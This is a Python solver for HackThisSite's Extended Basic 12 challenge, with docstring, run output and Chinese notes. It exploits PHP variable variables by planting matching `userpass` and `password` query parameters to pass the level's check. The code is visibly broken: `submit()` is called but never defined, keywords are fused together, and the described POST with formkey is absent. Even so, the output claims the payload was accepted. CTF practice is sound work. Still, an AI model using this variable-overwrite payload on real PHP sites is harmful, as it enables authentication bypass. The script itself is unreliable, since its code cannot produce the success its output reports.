#!/usr/bin/env python3 """HackThisSite Extended Basic 12 (playit) live solver. $$key = $value is a PHP variable variable, so a query parameter named userpass becomes $userpass and one named password becomes $password. The level's gate compares those two names, so both are planted with the same value in one URL and the comparison is trivially true. The answer is case sensitive and must be POSTed to /missions/extbasic/ template.php with a fresh formkey, lvl and pass, plus a Referer of the level page. The cookie comes from HTS_COOKIE and is never written to disk. """ import os import re import sys import time import urllib.error import urllib.parse import urllib.request
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/131.0.0.0 Safari/537.36") LEVEL = "https://www.hackthissite.org/missions/playit/extbasic/12/" SUBMIT = "https://www.hackthissite.org/missions/extbasic/template.php" GOON = "/missions/playit/extbasic/13" PAYLOAD = "moo.com/any.php?userpass=IWantToCow&password=IWantToCow" COOKIE = os.environ["HTS_COOKIE"]
deffetch(url, tries=4): last = None for attempt inrange(tries): req = urllib.request.Request(url, headers={"Cookie": COOKIE, "User-Agent": UA}) try: return urllib.request.urlopen(req, timeout=30).read().decode("utf-8", "replace") except (urllib.error.URLError, TimeoutError) as exc: last = exc time.sleep(2 * (attempt + 1)) raise last
defmain(): answer = sys.argv[1] iflen(sys.argv) > 1else PAYLOAD resp = submit(answer) print("payload: %s" % answer) if GOON in resp: open("submit_resp.html", "w", encoding="utf-8").write(resp) print("[+] accepted - server handed out the go-on link to level 13") else: print("[-] rejected - no go-on link in response")
if __name__ == "__main__": main()
运行输出:
1 2 3
$ cd <hts-workspace>/challenges/hts-playit/extbasic-12 && uv run python solve.py payload: moo.com/any.php?userpass=IWantToCow&password=IWantToCow [+] accepted - server handed out the go-on link to level 13
接受后响应里带指向 extbasic/13 的 go on 链接;账户
profile 的 Extbasic: 行计入 (12),关卡页显示
You have already done this mission.